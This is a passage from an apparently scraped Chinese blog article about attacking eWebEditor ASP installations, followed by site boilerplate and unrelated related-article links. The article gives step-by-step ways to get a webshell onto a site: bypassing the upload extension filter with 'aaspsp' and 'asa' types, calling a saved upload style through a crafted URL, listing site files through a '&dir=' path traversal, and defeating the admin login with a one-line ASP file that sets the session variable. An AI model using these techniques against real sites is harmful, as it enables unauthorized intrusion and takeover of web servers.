style="font-size:16px;">如果加了<span style="font-family:'Times New Roman';">asa</span>类型后发现还是无法上传。应该是站长懂点代码,自己修改了<span style="font-family:'Times New Roman';">Upload.asp</span>文件,但是没有关系,按照常人的思维习惯,往往直接在<span style="font-family:'Times New Roman';">sAllowExt =Replace(UCase(sAllowExt),”asp”,””)</span>一句上修改。</span></p> <p><span style="font-size:16px;">但是我们只要在上传类型中增加“<span style="font-family:'Times New Roman';">aaspsp</span>”<span style="font-family:'Times New Roman';">,</span>就可以传<span style="font-family:'Times New Roman';">asp</span>文件了,<span style="color:rgb(51,51,51);font-family:Verdana;font-size:9pt;"> </span></span></p> <p><span style="font-size:16px;">如果上述两种方法都失败了,则利用<span style="font-family:'Times New Roman';">eWebEditor</span>能够设定自动保存远程文件的类型,我们可以加入<span style="font-family:'Times New Roman';">asp</span>类型。但是如何才能让远程访问的<span style="font-family:'Times New Roman';">asp</span>文件能够以源码形式保存呢?方法是很多的,最简单的方法是将<span style="font-family:'Times New Roman';">IIS</span>中的应用文件映射中的<span style="font-family:'Times New Roman';">ASP</span>删除。</span></p> <p><span style="font-size:16px;">有的站数据库设置了只读属性,这样的站你是无法新加样式的,这样的站你可以看他数据库里的样式设置情况,一般很多时候都是让人给拿过的,而且明显的<span style="font-family:'Times New Roman';">asa</span>在那里。这样的话就可以直接构造一个调用这个样式的连接来上传<span style="font-family:'Times New Roman';">shell.</span></span></p> <p><span style="font-size:16px;">比如发现数据库里有样式<span style="font-family:'Times New Roman';">123</span>他设置的是可以上传<span style="font-family:'Times New Roman';">asa</span>的话,那么就可以这样调用:<span style="font-family:'Times New Roman';color:#333333;">http://www.***.com/eweb/ewebeditor.asp?id=contentCN&style=123</span></span></p> <p><span style="font-size:16px;">这样就可以直接上传了,然后在点编辑就会找到<span style="font-family:'Times New Roman';">shell</span>的路径了。其实这个漏洞主要是<span style="font-family:'Times New Roman';">upload.asp</span>的过滤不严造成的,新版的应该都修复了,具体爱影响的版本我也没统计过。</span></p> <p><span style="font-size:16px;">遍历路径</span></p> <p><span style="font-family:'Times New Roman';font-size:16px;">Ewebeditor</span>遍历路径漏洞,当数据库只读的时候,<span style="font-family:'Times New Roman';">ewebeditor/admin_uploadfile.asp?id=14</span>在<span style="font-family:'Times New Roman';">id=14</span>后面添加<span style="font-family:'Times New Roman';">&dir=</span>再加<span style="font-family:'Times New Roman';">&dir=/</span>或<span style="font-family:'Times New Roman';">&dir=http://www.****.com// </span>看到整个网站文件了,不过此项测试的时候发现,只有登录成功才能进行操作。</p> <p><span style="font-family:'Times New Roman';font-size:16px;">Cookie</span>漏洞</p> <p><span style="font-size:16px;">漏洞文件:<span style="font-family:'Times New Roman';">admin_private.asp</span></span></p> <p><span style="font-size:16px;">漏洞语句:</span></p> <p><span style="font-family:'Times New Roman';font-size:16px;"><% if session (“eWebEditor_User”) = “”Then</span></p> <p><span style="font-family:'Times New Roman';font-size:16px;">Response.Redirect “admin_login.asp”</span></p> <p><span style="font-family:'Times New Roman';font-size:16px;">Response.End</span></p> <p><span style="font-family:'Times New Roman';font-size:16px;">End If</span></p> <p><span style="font-size:16px;">只判断了<span style="font-family:'Times New Roman';">session,</span>没有判断<span style="font-family:'Times New Roman';">cookies</span>和路径的验证问题。</span></p> <p><span style="font-size:16px;">漏洞利用:</span></p> <p><span style="font-size:16px;">新建一个<span style="font-family:'Times New Roman';">mrchen.asp</span>内容如下:</span></p> <p><span style="font-family:'Times New Roman';font-size:16px;"><%Session (“eWebEditor_User”) =”11111111”%></span></p> <p><span style="font-size:16px;">访问<span style="font-family:'Times New Roman';">mrchen.asp</span>,再访问后台任何文件,<span style="font-family:'Times New Roman';">forexample:Admin_Default.asp</span>这个拿<span style="font-family:'Times New Roman';">shell</span>的方法就简单了。</span></p> </div> </div> </div> </div> </div> <!--PC和WAP自适应版--> <div id="SOHUCS" sid="1282927078957662208"></div> <script type="text/javascript" src="/views/front/js/chanyan.js"></script> <!-- 文章页-底部 动态广告位 --> <div class="youdao-fixed-ad" id="detail_ad_bottom"></div> </div> <div class="col-md-3"> <div class="row" id="ad"> <!-- 文章页-右侧1 动态广告位 --> <div id="right-1" class="col-lg-12 col-md-12 col-sm-4 col-xs-4 ad"> <div class="youdao-fixed-ad" id="detail_ad_1"> </div> </div> <!-- 文章页-右侧2 动态广告位 --> <div id="right-2" class="col-lg-12 col-md-12 col-sm-4 col-xs-4 ad"> <div class="youdao-fixed-ad" id="detail_ad_2"></div> </div> <!-- 文章页-右侧3 动态广告位 --> <div id="right-3" class="col-lg-12 col-md-12 col-sm-4 col-xs-4 ad"> <div class="youdao-fixed-ad" id="detail_ad_3"></div> </div> </div> </div> </div> </div> </div> <div class="container"> <h4 class="pt20 mb15 mt0 border-top">你可能感兴趣的:(龙铭洪,-,网站Web,龙铭洪,-,互联网,中国黑客专栏,asp,数据库,list,function,url,javascript)</h4> <div id="paradigm-article-related"> <div class="recommend-post mb30"> <ul class="widget-links"> <li><a href="/article/1891138936043008000.htm" title="基于deepseek api和openweather 天气API实现Function Calling技术讲解" target="_blank">基于deepseek api和openweather 天气API实现Function Calling技术讲解</a> <span class="text-muted">匹马夕阳</span> <a class="tag" taget="_blank" href="/search/AI%E6%8A%80%E6%9C%AF/1.htm">AI技术</a><a class="tag" taget="_blank" href="/search/ai/1.htm">ai</a><a class="tag" taget="_blank" href="/search/%E4%BA%BA%E5%B7%A5%E6%99%BA%E8%83%BD/1.htm">人工智能</a> <div>以下是一个结合DeepSeekAPI和OpenWeatherAPI的完整FunctionCalling示例,包含意图识别、API调用和结果整合:importrequestsimportjsonimportos#配置API密钥(从环境变量获取)DEEPSEEK_API_KEY=os.getenv("DEEPSEEK_API_KEY")OPENWEATHER_API_KEY=os.getenv("OP</div> </li> <li><a href="/article/1891124438259265536.htm" title="【python学习】深度解析 Python 的 .env配置与最佳实践:温格高的环境变量配置之道" target="_blank">【python学习】深度解析 Python 的 .env配置与最佳实践:温格高的环境变量配置之道</a> <span class="text-muted">NLP仙人</span> <a class="tag" taget="_blank" href="/search/python/1.htm">python</a><a class="tag" taget="_blank" href="/search/python/1.htm">python</a><a class="tag" taget="_blank" href="/search/%E5%AD%A6%E4%B9%A0/1.htm">学习</a><a class="tag" taget="_blank" href="/search/%E5%BC%80%E5%8F%91%E8%AF%AD%E8%A8%80/1.htm">开发语言</a><a class="tag" taget="_blank" href="/search/%E4%BA%BA%E5%B7%A5%E6%99%BA%E8%83%BD/1.htm">人工智能</a> <div>1.文章简介在开发和部署Python项目时,环境变量配置对于管理敏感信息如数据库连接字符串、API密钥至关重要。本文将以温格高(2023年环法冠军)的项目为例,详细介绍如何通过.env文件简化环境配置,并分享多环境管理、Docker集成等热门功能。我们还将覆盖一些小技巧和常见错误,帮助你避免开发中的踩坑。2.使用.env文件的好处温格高团队正在开发一个记录自行车赛事的应用,涉及多个开发环境和敏感信</div> </li> <li><a href="/article/1891121033616879616.htm" title="网络安全入门信息收集与漏洞扫描(二)" target="_blank">网络安全入门信息收集与漏洞扫描(二)</a> <span class="text-muted">挣扎与觉醒中的技术人</span> <a class="tag" taget="_blank" href="/search/%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%E5%85%A5%E9%97%A8%E5%8F%8A%E5%AE%9E%E6%88%98/1.htm">网络安全入门及实战</a><a class="tag" taget="_blank" href="/search/web%E5%AE%89%E5%85%A8/1.htm">web安全</a><a class="tag" taget="_blank" href="/search/%E7%BD%91%E7%BB%9C/1.htm">网络</a><a class="tag" taget="_blank" href="/search/%E5%AE%89%E5%85%A8/1.htm">安全</a><a class="tag" taget="_blank" href="/search/c%2B%2B/1.htm">c++</a><a class="tag" taget="_blank" href="/search/%E7%A8%8B%E5%BA%8F%E4%BA%BA%E7%94%9F/1.htm">程序人生</a> <div>主动信息收集1Nmap扫描端口与服务(1)Nmap是什么?定义:网络探测工具,用于扫描开放端口、识别服务及操作系统。典型用途:发现目标存活主机(ping扫描)。识别开放端口和运行的服务(如SSH、HTTP、数据库)。探测操作系统类型(Windows/Linux)。(2)基础扫描命令快速扫描常用端口:nmap-sV-T4192.168.1.100#-sV探测服务版本,-T4加速扫描示例输出:PORT</div> </li> <li><a href="/article/1891115354382462976.htm" title="DeepSeek 如何获取数据库中的表信息(表名和字段名称)" target="_blank">DeepSeek 如何获取数据库中的表信息(表名和字段名称)</a> <span class="text-muted">Python测试之道</span> <a class="tag" taget="_blank" href="/search/%E6%95%B0%E6%8D%AE%E5%BA%93/1.htm">数据库</a><a class="tag" taget="_blank" href="/search/python/1.htm">python</a> <div>问题背景在测试或开发过程中,了解数据库的表结构(包括表名和字段名称)是非常重要的一环,尤其是当我们需要测试数据库相关的功能或验证数据时。然而,手动查看数据库结构可能耗时且容易出错。如果能够通过DeepSeek与数据库直接交互,自动获取表名和字段信息,将大大提升测试效率。本文将介绍如何利用DeepSeek模型结合数据库查询,自动生成表结构信息(包括表名和字段名称)。此外,还会展示如何通过自然语言描述</div> </li> <li><a href="/article/1891115227626401792.htm" title="spring boot整合kettle调用数据库资源库中的job" target="_blank">spring boot整合kettle调用数据库资源库中的job</a> <span class="text-muted">机智的小小岳</span> <a class="tag" taget="_blank" href="/search/kettle/1.htm">kettle</a> <div>前言上篇文章记录了springboot如何调用文件资源库下的job,这篇文章会记录如何调用数据库资源库的job1.导入jar包在调用文件路径下的job需要导入如下jar包而调用数据库资源库的job需要多导入2个jar包否则会报http错误,jar包如下2.运行代码代码如下:@TestpublicvoidexcuteDBTrans()throwsKettleException{//初始环境EnvUt</div> </li> <li><a href="/article/1891114975531954176.htm" title="【Stable Diffusion部署至Google Colab】" target="_blank">【Stable Diffusion部署至Google Colab】</a> <span class="text-muted">星星点点洲</span> <a class="tag" taget="_blank" href="/search/stable/1.htm">stable</a><a class="tag" taget="_blank" href="/search/diffusion/1.htm">diffusion</a> <div>GoogleColab中快速搭建带GPU加速的StableDiffusionWebUIfromgoogle.colabimportdrivedrive.mount('/content/drive')!mkdir/content/drive/MyDrive/sd-webui-files!pipinstalltorch==1.13.1+cu116torchvision==0.14.1+cu116tor</div> </li> <li><a href="/article/1891114723315871744.htm" title="python创建sqlite3数据库_SQLite – Python | 菜鸟教程" target="_blank">python创建sqlite3数据库_SQLite – Python | 菜鸟教程</a> <span class="text-muted">weixin_39683144</span> <div>SQLite-Python安装SQLite3可使用sqlite3模块与Python进行集成。sqlite3模块是由GerhardHaring编写的。它提供了一个与PEP249描述的DB-API2.0规范兼容的SQL接口。您不需要单独安装该模块,因为Python2.5.x以上版本默认自带了该模块。为了使用sqlite3模块,您首先必须创建一个表示数据库的连接对象,然后您可以有选择地创建光标对象,这将</div> </li> <li><a href="/article/1891114090902908928.htm" title="linux下使用mysql(上)" target="_blank">linux下使用mysql(上)</a> <span class="text-muted">It塔塔开</span> <a class="tag" taget="_blank" href="/search/linux/1.htm">linux</a><a class="tag" taget="_blank" href="/search/mysql/1.htm">mysql</a><a class="tag" taget="_blank" href="/search/%E8%BF%90%E7%BB%B4/1.htm">运维</a> <div>1、安装mysqlaptsearchmysql-server...#查询结果mysql-server-8.0/focal-security,focal-updates8.0.41-0ubuntu0.20.04.1amd64MySQLdatabaseserverbinariesandsystemdatabasesetup...aptinstallmysql-server-8.0...2、连接数据库m</div> </li> <li><a href="/article/1891113585409585152.htm" title="使用 Nginx 搭建代理服务器(正向代理 HTTPS 网站)指南" target="_blank">使用 Nginx 搭建代理服务器(正向代理 HTTPS 网站)指南</a> <span class="text-muted">web13688565871</span> <a class="tag" taget="_blank" href="/search/nginx/1.htm">nginx</a><a class="tag" taget="_blank" href="/search/https/1.htm">https</a><a class="tag" taget="_blank" href="/search/%E8%BF%90%E7%BB%B4/1.htm">运维</a> <div>在网络应用中,代理服务器是用于中转用户请求和服务端响应的工具。正向代理主要用于客户端与外部服务器之间的访问代理,帮助客户端隐藏其IP地址或访问受限资源。本文将详细介绍如何使用Nginx搭建正向代理服务器,特别是针对HTTPS网站的代理。一、正向代理与反向代理的区别1.1正向代理正向代理位于客户端和服务器之间,代表客户端向服务器发起请求。其主要功能是隐藏客户端信息,代理客户端进行网络访问,尤其是访问</div> </li> <li><a href="/article/1891110428952555520.htm" title="私有AI对话系统实战:基于Ollama+OpenWebUI的DeepSeek-R1本地化部署手把手教学(可共享访问)" target="_blank">私有AI对话系统实战:基于Ollama+OpenWebUI的DeepSeek-R1本地化部署手把手教学(可共享访问)</a> <span class="text-muted">Developer-YC</span> <a class="tag" taget="_blank" href="/search/DeekSeek-R1/1.htm">DeekSeek-R1</a><a class="tag" taget="_blank" href="/search/%E5%A4%A7%E6%A8%A1%E5%9E%8B%E8%A7%A3%E8%AF%BB%E4%B8%8E%E5%AE%9E%E6%88%98%E6%95%99%E5%AD%A6/1.htm">大模型解读与实战教学</a><a class="tag" taget="_blank" href="/search/%E4%BA%BA%E5%B7%A5%E6%99%BA%E8%83%BD/1.htm">人工智能</a><a class="tag" taget="_blank" href="/search/python/1.htm">python</a><a class="tag" taget="_blank" href="/search/java/1.htm">java</a><a class="tag" taget="_blank" href="/search/github/1.htm">github</a><a class="tag" taget="_blank" href="/search/node.js/1.htm">node.js</a><a class="tag" taget="_blank" href="/search/%E8%AF%AD%E8%A8%80%E6%A8%A1%E5%9E%8B/1.htm">语言模型</a><a class="tag" taget="_blank" href="/search/%E5%90%8E%E7%AB%AF/1.htm">后端</a> <div>引言:为什么选择本地部署大模型?在数据隐私日益重要的今天,云端AI服务的局限性逐渐显现——敏感信息泄露风险、网络延迟依赖、定制化能力不足。而通过**Ollama(模型管理框架)和OpenWebUI(可视化交互工具)**的组合,开发者可以轻松实现大模型(如DeepSeek-R1)的本地部署,兼顾性能与安全。本文将以DeepSeek-R1为例,详解从环境配置到实战应用的全流程。一、工具与模型简介1.O</div> </li> <li><a href="/article/1891108917166010368.htm" title="腾讯HunyuanVideo-HD:高清视频处理技术的革新" target="_blank">腾讯HunyuanVideo-HD:高清视频处理技术的革新</a> <span class="text-muted">IT·小灰灰</span> <a class="tag" taget="_blank" href="/search/%E9%9F%B3%E8%A7%86%E9%A2%91/1.htm">音视频</a><a class="tag" taget="_blank" href="/search/%E8%87%AA%E5%8A%A8%E5%8C%96/1.htm">自动化</a><a class="tag" taget="_blank" href="/search/%E4%BA%BA%E5%B7%A5%E6%99%BA%E8%83%BD/1.htm">人工智能</a><a class="tag" taget="_blank" href="/search/%E6%B7%B1%E5%BA%A6%E5%AD%A6%E4%B9%A0/1.htm">深度学习</a><a class="tag" taget="_blank" href="/search/%E6%95%B0%E6%8D%AE%E6%8C%96%E6%8E%98/1.htm">数据挖掘</a><a class="tag" taget="_blank" href="/search/%E5%9B%BE%E5%83%8F%E5%A4%84%E7%90%86/1.htm">图像处理</a><a class="tag" taget="_blank" href="/search/%E6%95%B0%E6%8D%AE%E5%88%86%E6%9E%90/1.htm">数据分析</a> <div>在数字化时代,视频内容已成为信息传播的主要形式之一。随着用户对视频质量要求的不断提高,高清视频处理技术成为了各大科技公司竞相研发的重点。腾讯作为中国领先的互联网科技公司,一直致力于推动视频处理技术的创新。最近,腾讯推出了HunyuanVideo-HD,这是一项旨在提升高清视频处理效率和质量的技术。本文将深入探讨HunyuanVideo-HD的技术特点、应用场景、使用方法及其对行业的影响。目录一、技</div> </li> <li><a href="/article/1891108914406158336.htm" title="Python爬虫——网站基本信息" target="_blank">Python爬虫——网站基本信息</a> <span class="text-muted">IT·小灰灰</span> <a class="tag" taget="_blank" href="/search/python/1.htm">python</a><a class="tag" taget="_blank" href="/search/%E7%88%AC%E8%99%AB/1.htm">爬虫</a><a class="tag" taget="_blank" href="/search/%E5%BC%80%E5%8F%91%E8%AF%AD%E8%A8%80/1.htm">开发语言</a><a class="tag" taget="_blank" href="/search/%E7%BD%91%E7%BB%9C/1.htm">网络</a> <div>在智能时代,数据是新的石油。Python爬虫技术赋予了我们成为数据猎人的能力,让我们能够在网络的广袤土地上狩猎,为机器学习和人工智能的发展提供燃料目录一、介绍——Python二、介绍——Python爬虫1.请求库2.解析库3.数据存储4.多线程/多进程5.异步编程6.代理和反爬虫7.爬虫框架8.爬虫的法律和道德问题9.异常处理10.日志记录三、爬虫示例代码一、介绍——PythonPython是一种</div> </li> <li><a href="/article/1891105387818577920.htm" title="【JavaScript】异步编程汇总" target="_blank">【JavaScript】异步编程汇总</a> <span class="text-muted">秀秀_heo</span> <a class="tag" taget="_blank" href="/search/JavaScript/1.htm">JavaScript</a><a class="tag" taget="_blank" href="/search/javascript/1.htm">javascript</a><a class="tag" taget="_blank" href="/search/%E5%BC%80%E5%8F%91%E8%AF%AD%E8%A8%80/1.htm">开发语言</a><a class="tag" taget="_blank" href="/search/ecmascript/1.htm">ecmascript</a> <div>异步编程解决方案:回调函数PromiseGeneratorawait/async回调函数回调函数是早期处理异步编程的主要方式,虽然它本身存在很多的缺陷,比如那个时候对于复杂的异步处理常常会出现回调地狱。但是因为JavaScript中当时并没有很好的API来帮助我们以比较优雅的方式编写代码,所以依然应用非常广泛。functionfetchData(url,callback){setTimeout((</div> </li> <li><a href="/article/1891101604044664832.htm" title="Vue 2 路由指南:从基础到高级" target="_blank">Vue 2 路由指南:从基础到高级</a> <span class="text-muted">鸡吃丸子</span> <a class="tag" taget="_blank" href="/search/vue.js/1.htm">vue.js</a><a class="tag" taget="_blank" href="/search/%E5%89%8D%E7%AB%AF/1.htm">前端</a><a class="tag" taget="_blank" href="/search/javascript/1.htm">javascript</a><a class="tag" taget="_blank" href="/search/%E5%89%8D%E7%AB%AF%E6%A1%86%E6%9E%B6/1.htm">前端框架</a> <div>注意:对于代码看不清的部分,用鼠标选中就能看到了,背景颜色和字体颜色过于接近,我也不知道怎么调,只能这样子先看着了一、VueRouter是什么?VueRouter是Vue.js官方的路由管理器,它允许你在单页面应用中通过不同的URL显示不同的组件。VueRouter与Vue.js核心深度集成,提供了声明式的路由定义、嵌套路由、动态路由、导航守卫等功能,帮助开发者构建复杂的单页面应用。二、安装与配置</div> </li> <li><a href="/article/1891101351841165312.htm" title="Python 自动排班表格(代码分享)" target="_blank">Python 自动排班表格(代码分享)</a> <span class="text-muted">趣享先生</span> <a class="tag" taget="_blank" href="/search/Python%E6%A1%88%E4%BE%8B%E5%88%86%E4%BA%AB%E4%B8%93%E6%A0%8F/1.htm">Python案例分享专栏</a><a class="tag" taget="_blank" href="/search/python/1.htm">python</a><a class="tag" taget="_blank" href="/search/%E5%BC%80%E5%8F%91%E8%AF%AD%E8%A8%80/1.htm">开发语言</a> <div>✅作者简介:2022年博客新星第八。热爱国学的Java后端开发者,修心和技术同步精进。个人主页:JavaFans的博客个人信条:不迁怒,不贰过。小知识,大智慧。当前专栏:Java案例分享专栏✨特色专栏:国学周更-心性养成之路本文内容:Python自动排班表格(代码分享) 前些天发现了一个巨牛的人工智能学习网站,通俗易懂,风趣幽默,忍不住分享一下给大家。点击跳转到网站。文章目录前言问题描述解决步骤1</div> </li> <li><a href="/article/1891094545148473344.htm" title="android studio 使用maven-publish 插件上传aar到远程maven仓库" target="_blank">android studio 使用maven-publish 插件上传aar到远程maven仓库</a> <span class="text-muted">-优势在我</span> <a class="tag" taget="_blank" href="/search/android/1.htm">android</a><a class="tag" taget="_blank" href="/search/studio/1.htm">studio</a><a class="tag" taget="_blank" href="/search/maven/1.htm">maven</a><a class="tag" taget="_blank" href="/search/android/1.htm">android</a> <div>上传插件编写1、在工程目录下添加upload.gradle文件applyplugin:'maven-publish'defRELEASE_REPOSITORY_URL='http://xxx.xx.com/artifactory/repository/release/'defSNAPSHOT_REPOSITORY_URL='http://xxx.xx.com/artifactory/reposit</div> </li> <li><a href="/article/1891094418874757120.htm" title="python如何将数据生成excel_Python如何将数据导出excel的技巧分享" target="_blank">python如何将数据生成excel_Python如何将数据导出excel的技巧分享</a> <span class="text-muted">weixin_39528697</span> <div>本篇文章主要介绍了python技能之导出excel的实例代码,小编觉得挺不错的,现在分享给大家,也给大家做个参考。一起跟随小编过来看看吧本文介绍了python技能之导出excel的实例代码,正好能用到,写出来分享给大家作为一个数据分析师,下面的需求是经常会遇到的。从数据库或者现有的文本文件中提取符合要求的数据,做一个二次处理,处理完成后的数据最终存储到excel表格中供其他部门的人继续二次分析。在</div> </li> <li><a href="/article/1891092906656198656.htm" title="自动驾驶系列—颠覆未来驾驶:深入解析自动驾驶线控转向系统技术" target="_blank">自动驾驶系列—颠覆未来驾驶:深入解析自动驾驶线控转向系统技术</a> <span class="text-muted">学步_技术</span> <a class="tag" taget="_blank" href="/search/%E8%87%AA%E5%8A%A8%E9%A9%BE%E9%A9%B6/1.htm">自动驾驶</a><a class="tag" taget="_blank" href="/search/%E8%87%AA%E5%8A%A8%E9%A9%BE%E9%A9%B6/1.htm">自动驾驶</a><a class="tag" taget="_blank" href="/search/%E4%BA%BA%E5%B7%A5%E6%99%BA%E8%83%BD/1.htm">人工智能</a><a class="tag" taget="_blank" href="/search/%E6%9C%BA%E5%99%A8%E5%AD%A6%E4%B9%A0/1.htm">机器学习</a><a class="tag" taget="_blank" href="/search/%E7%BA%BF%E6%8E%A7%E7%B3%BB%E7%BB%9F/1.htm">线控系统</a> <div>欢迎来到我的技术小筑,一个专为技术探索者打造的交流空间。在这里,我们不仅分享代码的智慧,还探讨技术的深度与广度。无论您是资深开发者还是技术新手,这里都有一片属于您的天空。让我们在知识的海洋中一起航行,共同成长,探索技术的无限可能。探索专栏:学步_技术的首页——持续学习,不断进步,让学习成为我们共同的习惯,让总结成为我们前进的动力。技术导航:人工智能:深入探讨人工智能领域核心技术。自动驾驶:分享自动</div> </li> <li><a href="/article/1891089498368962560.htm" title="使用 MySQL 从 JSON 字符串提取数据" target="_blank">使用 MySQL 从 JSON 字符串提取数据</a> <span class="text-muted">m0_66323401</span> <a class="tag" taget="_blank" href="/search/%E9%9D%A2%E8%AF%95/1.htm">面试</a><a class="tag" taget="_blank" href="/search/%E5%AD%A6%E4%B9%A0%E8%B7%AF%E7%BA%BF/1.htm">学习路线</a><a class="tag" taget="_blank" href="/search/%E9%98%BF%E9%87%8C%E5%B7%B4%E5%B7%B4/1.htm">阿里巴巴</a><a class="tag" taget="_blank" href="/search/mysql/1.htm">mysql</a><a class="tag" taget="_blank" href="/search/json/1.htm">json</a><a class="tag" taget="_blank" href="/search/oracle/1.htm">oracle</a> <div>使用MySQL从JSON字符串提取数据在现代数据库管理中,JSON格式因其灵活性而广泛使用。然而,当数据存储在JSON中时,我们经常需要将其转换为更易于处理的格式。本篇文章将通过一个具体的SQL查询示例,展示如何从存储在MySQL中的JSON字符串提取数据并重新格式化。1.背景知识JSON(JavaScriptObjectNotation)是一种轻量级的数据交换格式,易于阅读和编写,同时也易于机器</div> </li> <li><a href="/article/1891088237292744704.htm" title="第一天:爬虫介绍" target="_blank">第一天:爬虫介绍</a> <span class="text-muted">朱剑君</span> <a class="tag" taget="_blank" href="/search/Python%E7%88%AC%E8%99%AB%E8%AE%AD%E7%BB%83%E8%90%A5/1.htm">Python爬虫训练营</a><a class="tag" taget="_blank" href="/search/%E7%88%AC%E8%99%AB/1.htm">爬虫</a><a class="tag" taget="_blank" href="/search/python/1.htm">python</a> <div>每天上午9点左右更新一到两篇文章到专栏《Python爬虫训练营》中,对于爬虫有兴趣的伙伴可以订阅专栏一起学习,完全免费。键盘为桨,代码作帆。这趟为期30天左右的Python爬虫特训即将启航,每日解锁新海域:从Requests库的浪花到Scrapy框架的深流,从反爬迷雾中的破局到数据清洗的澄澈。我们拆解网页结构如同解读星图,让XPath与正则表达式化作导航罗盘。每个深夜的代码调试,终将凝结成破晓时的</div> </li> <li><a href="/article/1891088111056777216.htm" title="第三天:爬取数据-urllib库." target="_blank">第三天:爬取数据-urllib库.</a> <span class="text-muted">朱剑君</span> <a class="tag" taget="_blank" href="/search/Python%E7%88%AC%E8%99%AB%E8%AE%AD%E7%BB%83%E8%90%A5/1.htm">Python爬虫训练营</a><a class="tag" taget="_blank" href="/search/python/1.htm">python</a><a class="tag" taget="_blank" href="/search/%E7%88%AC%E8%99%AB/1.htm">爬虫</a> <div>每天上午9点左右更新一到两篇文章到专栏《Python爬虫训练营》中,对于爬虫有兴趣的伙伴可以订阅专栏一起学习,完全免费。键盘为桨,代码作帆。这趟为期30天左右的Python爬虫特训即将启航,每日解锁新海域:从Requests库的浪花到Scrapy框架的深流,从反爬迷雾中的破局到数据清洗的澄澈。我们拆解网页结构如同解读星图,让XPath与正则表达式化作导航罗盘。每个深夜的代码调试,终将凝结成破晓时的</div> </li> <li><a href="/article/1891083826759790592.htm" title="Compose - 权限申请" target="_blank">Compose - 权限申请</a> <span class="text-muted">Jomurphys</span> <a class="tag" taget="_blank" href="/search/Compose/1.htm">Compose</a><a class="tag" taget="_blank" href="/search/android/1.htm">android</a> <div>一、概念二、使用AccompanistPermissions官方介绍&最新版本不同版本中,权限状态(如PermissionState)中获取属性的方法不同,例如在“0.23.1”中,通过PermissionState.hasPermission属性拿到是否通过的Boolean值,在“0.35.0-alpha”中,通过PermissionState.status.isGranted属性拿到。单个权限</div> </li> <li><a href="/article/1891078912692252672.htm" title="Flux架构:构建可预测的Web应用状态管理体系" target="_blank">Flux架构:构建可预测的Web应用状态管理体系</a> <span class="text-muted">阿珊和她的猫</span> <a class="tag" taget="_blank" href="/search/%E6%9E%B6%E6%9E%84/1.htm">架构</a><a class="tag" taget="_blank" href="/search/%E5%89%8D%E7%AB%AF/1.htm">前端</a> <div>前端开发工程师、技术日更博主、已过CET6阿珊和她的猫_CSDN博客专家、23年度博客之星前端领域TOP1牛客高级专题作者、打造专栏《前端面试必备》、《2024面试高频手撕题》蓝桥云课签约作者、上架课程《Vue.js和Egg.js开发企业级健康管理项目》、《带你从入门到实战全面掌握uni-app》前些天发现了一个巨牛的人工智能学习网站,通俗易懂,风趣幽默,忍不住分享一下给大家。点击跳转到网站。文章</div> </li> <li><a href="/article/1891077022319439872.htm" title="Vue3 + Moveable + Selecto 拖拽组件 Demo" target="_blank">Vue3 + Moveable + Selecto 拖拽组件 Demo</a> <span class="text-muted">巧克力力克巧!</span> <a class="tag" taget="_blank" href="/search/%E5%AD%A6%E4%B9%A0%E7%A7%AF%E7%B4%AF/1.htm">学习积累</a><a class="tag" taget="_blank" href="/search/vue.js/1.htm">vue.js</a><a class="tag" taget="_blank" href="/search/javascript/1.htm">javascript</a><a class="tag" taget="_blank" href="/search/%E5%89%8D%E7%AB%AF/1.htm">前端</a> <div>一、项目概述本demo旨在通过Vue3、Moveable和Selecto三个库的结合,实现一个基本的拖拽组件功能。通过Selecto实现元素的选择功能,通过Moveable控制选中元素的大小和位置。同时,封装了hooks以实现元素与数据之间的绑定,使得操作更加灵活和可维护。二、技术栈Vue3:用于构建用户界面的渐进式JavaScript框架。Moveable:一个可以拖拽、缩放、旋转DOM元素的库</div> </li> <li><a href="/article/1891074499709825024.htm" title="中国第一本介绍企业级开发工具Zend的书籍" target="_blank">中国第一本介绍企业级开发工具Zend的书籍</a> <span class="text-muted">weixin_34245749</span> <a class="tag" taget="_blank" href="/search/%E5%BC%80%E5%8F%91%E5%B7%A5%E5%85%B7/1.htm">开发工具</a><a class="tag" taget="_blank" href="/search/%E6%95%B0%E6%8D%AE%E5%BA%93/1.htm">数据库</a><a class="tag" taget="_blank" href="/search/javascript/1.htm">javascript</a><a class="tag" taget="_blank" href="/search/ViewUI/1.htm">ViewUI</a> <div>【书名】大道PHP:LAMP+Zend+开源框架整合开发与实战【作者】三扬科技【ISBN】978-7-121-09171-1【出版社】电子工业出版社【出版日期】2009年9月【定价】99.00元(含视频DVD1张)【宣传语】第一本介绍企业级开发工具Zend的书籍最完整的PHP5开发技术与实战代码万用大全基于Linux+Apache+MySQL+PHP黄金组合,Socket、WebService、A</div> </li> <li><a href="/article/1891073240051281920.htm" title="如何使用Java来编译运行C文件(一)" target="_blank">如何使用Java来编译运行C文件(一)</a> <span class="text-muted">FunriLy</span> <a class="tag" taget="_blank" href="/search/%E5%9C%A8%E7%BA%BF%E7%BC%96%E8%AF%91/1.htm">在线编译</a><a class="tag" taget="_blank" href="/search/java/1.htm">java</a><a class="tag" taget="_blank" href="/search/%E7%A0%81%E5%86%9C/1.htm">码农</a><a class="tag" taget="_blank" href="/search/cmd/1.htm">cmd</a> <div>如何使用Java来编译运行C文件(一)前言码农的小日子过得好好的,指导老师一个兴起要求搞一个自己的在线编译网站,我们这种做小弟的只能老老实实地去搞。还好刚刚结束了考试与比赛,因为各种原因导致原定于寒假开工的项目延迟到下学期了,刚好趁这段空闲的时间来搞一搞。其实,自己感觉搞这个的话也挺好玩的~前期技术准备部分1.调用cmd编译C文件先说明一下,我的操作系统是Win10,Linux环境下会有所不同;而</div> </li> <li><a href="/article/1891069455673389056.htm" title="利用Python进行数据清洗与预处理:Pandas的高级用法" target="_blank">利用Python进行数据清洗与预处理:Pandas的高级用法</a> <span class="text-muted">步入烟尘</span> <a class="tag" taget="_blank" href="/search/python/1.htm">python</a><a class="tag" taget="_blank" href="/search/%E6%95%B0%E6%8D%AE%E5%BA%93/1.htm">数据库</a><a class="tag" taget="_blank" href="/search/%E5%BC%80%E5%8F%91%E8%AF%AD%E8%A8%80/1.htm">开发语言</a> <div>本文已收录于《Python超入门指南全册》本专栏专门针对零基础和需要进阶提升的同学所准备的一套完整教学,从基础到精通不断进阶深入,后续还有实战项目,轻松应对面试,专栏订阅地址:https://blog.csdn.net/mrdeam/category_12647587.html优点:订阅限时19.9付费专栏,私信博主还可进入全栈VIP答疑群,作者优先解答机会(代码指导、远程服务),群里大佬众多可以</div> </li> <li><a href="/article/1891069076806103040.htm" title="一步解决Ubuntu中无法使用git clone的问题" target="_blank">一步解决Ubuntu中无法使用git clone的问题</a> <span class="text-muted">AI_茗</span> <a class="tag" taget="_blank" 